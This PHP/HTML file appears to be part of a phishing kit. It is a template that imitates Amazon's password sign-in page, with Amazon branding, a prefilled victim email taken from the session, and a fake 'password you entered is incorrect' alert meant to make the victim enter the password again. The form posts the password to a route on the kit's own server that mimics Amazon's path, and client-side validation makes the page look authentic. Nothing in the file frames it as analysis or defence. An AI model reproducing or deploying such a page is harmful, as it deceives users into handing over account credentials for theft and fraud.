<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html class="a-ws a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-transform3d a-touch-scrolling a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember a-ember-modern">
<head>
    <link rel="shortcut icon" href="<?= base_url() ?>RABBIT/RO/img/favicon.ico" />
    <title dir="ltr">Amazon Sign-In</title>
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/login-style.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-login.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-cvf.css"> 
</head>
<body class="auth-no-skin ap-locale-en_US a-m-us a-aui_72554-c a-aui_a11y_2_750578-t2 a-aui_a11y_6_837773-t2 a-aui_a11y_sr_678508-t1 a-aui_amzn_img_959719-c a-aui_amzn_img_gate_959718-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c a-meter-animate">
    <div class="a-section a-padding-medium auth-workflow">
        <div class="a-section a-spacing-none auth-navbar">
            <div class="a-section a-spacing-medium a-text-center">
                <a class="a-link-nav-icon" href="#">
                    <i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
                </a> 
            </div>
        </div>
        <div id="authportal-center-section" class="a-section">
            <div id="authportal-main-section" class="a-section">
                <div class="a-section a-spacing-base auth-pagelet-container">
                    <div class="a-section">
                        <div aria-live="assertive" id="auth-error-message-box" class="a-box a-alert a-alert-error auth-server-side-message-box a-spacing-base" role="alert">
                            <div class="a-box-inner a-alert-container">
                                <h4 class="a-alert-heading"><i class="a-icon a-icon-alert"></i> There was problem</h4>
                                <div class="a-alert-content">
                                    <span>The password you entered is incorrect. </span>
                                </div>
                            </div>
                        </div>
                        <noscript>
                            <div id="auth-js-alert-box" class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                                <div class="a-box-inner a-alert-container">
                                    <i class="a-icon a-icon-alert"></i>
                                    <div class="a-alert-content">
                                        This site requires JavaScript to function correctly. Please enable JavaScript on your browser to continue.
                                    </div>
                                </div>
                            </div>
                        </noscript>
                    </div>
                    <div id="auth-cookie-warning-message" class="a-box a-alert a-alert-warning" aria-live="polite" aria-atomic="true">
                        <div class="a-box-inner a-alert-container">
                            <h4 class="a-alert-heading">Please Enable Cookies to Continue</h4>
                            <i class="a-icon a-icon-alert"></i>
                            <div class="a-alert-content">
                                <p>
                                    <a class="a-link-normal" href="#gp"></a>
                                </p>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="a-section auth-pagelet-container">
                    <div class="a-section a-spacing-base">
                        <div class="a-section">
                            <div class="a-section">
                                <div class="a-box">
                                    <div class="a-box-inner a-padding-extra-large">
                                      <h1 class="a-spacing-small">Sign in</h1>
                            
                                      <!-- optional subheading element -->
                            
                                      <div class="a-row a-spacing-base">
                                        <span id="auth-email-claim" dir="ltr"><?php echo $_SESSION['email']; ?></span>
                                        <a id="ap_change_login_claim" class="a-link-normal" href="#">
                                          Change
                                        </a>
                                      </div>
                            
                                      <form name="signIn" method="post" novalidate="" action="/ap/auth/process" class="auth-validate-form auth-real-time-validation a-spacing-none" data-fwcim-id="FNYZIfy5">
                                        <div class="a-section">
                                          <div class="a-section a-spacing-large">
                                            <div class="a-row">
                                              <div class="a-column a-span5">
                                                <label for="ap_password" class="a-form-label"> Password </label>
                                              </div>
                            
                                              <div class="a-column a-span7 a-text-right a-span-last">
                                                <a id="auth-fpp-link-bottom" class="a-link-normal"
                                                  href="#">
                                                  Forgot password?
                                                </a>
                                              </div>
                                            </div>
    
                                            <input type="password" maxlength="1024" id="password" autocomplete="current-password" name="password" class="a-input-text a-span12 auth-autofocus auth-required-field" aria-required="true" />
                                            <div id="inputErrorMsgPassword"></div>
                                          </div>
                                          <div class="a-section">
                                            <span style="border-radius: 20px;" id="btn_login" class="a-button a-button-span12 a-button-primary auth-disable-button-on-submit">
                                                <span class="a-button-inner">
                                                    <input class="a-button-input" type="submit"  id="signinSubmit" aria-labelledby="auth-signin-button-announce" />
                                                    <span id="auth-signin-button-announce" class="a-button-text" aria-hidden="true"> Sign in </span>
                                                </span>
                                            </span>
                                          </div>
                                        </div>
                                      </form>
                                    </div>
                                  </div>
                                </div>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <div id="right-2"></div>
        <div class="a-section a-spacing-top-extra-large auth-footer">
            <div class="a-divider a-divider-section">
                <div class="a-divider-inner"></div>
            </div>
            <div class="a-section a-spacing-small a-text-center a-size-mini">
                <span class="auth-footer-seperator"></span>
                <ul>
                    <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                        <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="#gp">
                            Conditions of Use
                        </a>
                        <span class="auth-footer-seperator"></span>
                    </li>
                    <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                        <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="#gp">
                            Privacy Notice
                        </a>
                        <span class="auth-footer-seperator"></span>
                    </li>
                    <li style="list-style-type: none; margin: 0; padding:0; display: inline-block;">
                        <a class="a-link-normal a-nowrap" target="_blank" rel="noopener" href="#gp">
                            Help
                        </a>
                        <span class="auth-footer-seperator"></span>
                    </li>
                </ul>
            </div>
            <div class="a-section a-spacing-none a-text-center"> 
                <span class="a-size-mini a-color-secondary">
                    © 1996-2025, Amazon.com, Inc. or its affiliates
                </span>
            </div>
        </div>
    </div>
</div>
</div>
    <!-- Masking -->
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.mask.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.validate.min.js"></script>
        <script>
        $(document).ready(function () {
            $('#password').on("keyup , focus", () => {
                var password = $("#password").val()
                if (password == "") {
                    $("#password").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgPassword").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert" style="display: block;"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">Enter your password</div></div></div>')
                } else if (password.length < 6) {
                    $("#password").addClass('error').removeClass('hasText')
                    $("#inputErrorMsgPassword").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert" style="display: block;"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"> Password length must be at least 8 characters or more.</div></div></div>')
                } else {
                    $("#password").removeClass('error').addClass("hasText")
                    $("#inputErrorMsgPassword").html('')
                }
            });
            $('#password').on("keyup , focus", () => {
                if (!$("#password").hasClass('error') &&
                    $("#password").val().length > 0) {
                    $("#signinSubmit").prop("disabled", false)
                } else {
                    $("#signinSubmit").prop("disabled", true)
                }
            });
        });
        </script>
</body>
</html>